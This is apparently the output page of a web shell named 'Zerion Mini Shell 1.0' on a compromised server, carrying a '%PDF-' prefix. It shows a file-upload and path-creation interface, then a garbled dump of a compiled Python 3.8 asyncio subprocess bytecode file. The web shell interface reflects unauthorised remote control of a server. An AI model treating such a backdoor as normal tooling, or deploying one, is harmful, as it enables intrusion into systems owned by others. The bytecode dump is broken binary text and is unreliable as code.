%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/asyncio/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/asyncio/__pycache__/subprocess.cpython-38.pyc

U

pa@sdZddlZddlZddlmZddlmZddlmZddlmZddlm	Z	ej
Z
ejZejZGd	d
d
ej
ejZGdddZddddejfd
dZddddejdddZdS))create_subprocess_execcreate_subprocess_shellN)events)	protocols)streams)tasks)loggercsXeZdZdZfddZddZddZdd	Zd
dZdd
Z	ddZ
ddZZS)SubprocessStreamProtocolz0Like StreamReaderProtocol, but for a subprocess.csHtj|d||_d|_|_|_d|_d|_g|_|j	
|_dS)NloopF)super__init___limitstdinstdoutstderr
_transport_process_exited	_pipe_fds_loopZ
create_future
_stdin_closed)selflimitr	__class__./usr/local/lib/python3.8/asyncio/subprocess.pyrsz!SubprocessStreamProtocol.__init__cCsn|jjg}|jdk	r&|d|j|jdk	rB|d|j|jdk	r^|d|jdd|S)Nzstdin=zstdout=zstderr=z<{}> )r__name__rappendrrformatjoin)rinforrr__repr__s



z!SubprocessStreamProtocol.__repr__cCs||_|d}|dk	rDtj|j|jd|_|j||j	d|d}|dk	rtj|j|jd|_
|j
||j	d|d}|dk	rtj||d|jd|_dS)Nrrrr)protocolreaderr)
rget_pipe_transportrStreamReaderrrrZ
set_transportrr rStreamWriterr)r	transportZstdout_transportZstderr_transportZstdin_transportrrrconnection_made)s,


z(SubprocessStreamProtocol.connection_madecCs:|dkr|j}n|dkr |j}nd}|dk	r6||dS)Nrr&)rrZ	feed_data)rfddatar(rrrpipe_data_receivedAsz+SubprocessStreamProtocol.pipe_data_receivedcCs|dkrN|j}|dk	r||||dkr>|jdn|j|dS|dkr^|j}n|dkrn|j}nd}|dk	r|dkr|n
||||j	kr|j	
||dS)Nrrr&)rcloseZconnection_lostr
set_result
set_exceptionrrZfeed_eofrremove_maybe_close_transport)rr.excpiper(rrrpipe_connection_lostKs*



z-SubprocessStreamProtocol.pipe_connection_lostcCsd|_|dS)NT)rr5rrrrprocess_exitedfsz'SubprocessStreamProtocol.process_exitedcCs(t|jdkr$|jr$|jd|_dS)Nr)lenrrrr1r9rrrr5js
z/SubprocessStreamProtocol._maybe_close_transportcCs||jkr|jSdSN)rr)rstreamrrr_get_close_waiteros
z*SubprocessStreamProtocol._get_close_waiter)
r
__module____qualname____doc__rr$r-r0r8r:r5r>
__classcell__rrrrr
s	

r
c@sjeZdZddZddZeddZddZd	d
ZddZ	d
dZ
ddZddZddZ
dddZdS)ProcesscCs8||_||_||_|j|_|j|_|j|_||_dSr<)rZ	_protocolrrrrZget_pidpid)rr,r'rrrrruszProcess.__init__cCsd|jjd|jdS)N<r>)rrrDr9rrrr$~szProcess.__repr__cCs
|jSr<)rZget_returncoder9rrr
returncodeszProcess.returncodecs|jIdHS)z?Wait until the process exit and return the process return code.N)r_waitr9rrrwaitszProcess.waitcCs|j|dSr<)rsend_signal)rsignalrrrrJszProcess.send_signalcCs|jdSr<)r	terminater9rrrrLszProcess.terminatecCs|jdSr<)rkillr9rrrrMszProcess.killc
s|j}|j||r,td|t|z|jIdHWn8tt	fk
rx}z|rhtd||W5d}~XYnX|rtd||j
dS)Nz%%r communicate: feed stdin (%s bytes)z%r communicate: stdin got %rz%r communicate: close stdin)r	get_debugrwriter	debugr;ZdrainBrokenPipeErrorConnectionResetErrorr1)rinputrPr6rrr_feed_stdins 
 zProcess._feed_stdincsdSr<rr9rrr_noopsz
Process._noopcs|j|}|dkr|j}n|dks(t|j}|jrV|dkrDdnd}td|||	IdH}|jr|dkrzdnd}td|||
|S)Nr&rrrz%r communicate: read %sz%r communicate: close %s)rr)rAssertionErrorrrrNr	rPreadr1)rr.r,r=nameoutputrrr_read_streams

zProcess._read_streamNcs|dk	r||}n|}|jdk	r2|d}n|}|jdk	rP|d}n|}tj||||jdIdH\}}}|IdH||fS)Nrr&r)	rTrUrrZrrZgatherrrI)rrSrrrrrrcommunicates


zProcess.communicate)N)rr?r@rr$propertyrGrIrJrLrMrTrUrZr[rrrrrCts	
rCc
sbdkrtntjdtddfdd}j||f|||d|IdH\}}	t||	S)NZThe loop argument is deprecated since Python 3.8 and scheduled for removal in Python 3.10.r&
stacklevelcstdSNr%r
rr%rr<lambda>sz)create_subprocess_shell.<locals>.<lambda>rrr)rget_event_loopwarningswarnDeprecationWarningZsubprocess_shellrC)
cmdrrrrrkwdsprotocol_factoryr,r'rr%rrs$
r)rrrrrcsfdkrtntjdtddfdd}j||f||||d|IdH\}	}
t|	|
S)Nr]r&r^cstdSr`rarr%rrrbsz(create_subprocess_exec.<locals>.<lambda>rc)rrdrerfrgZsubprocess_execrC)Zprogramrrrrrargsrirjr,r'rr%rrs(
r)__all__
subprocessrerrrrlogr	PIPESTDOUTDEVNULLZFlowControlMixinZSubprocessProtocolr
rCZ_DEFAULT_LIMITrrrrrr<module>s.bV


Zerion Mini Shell 1.0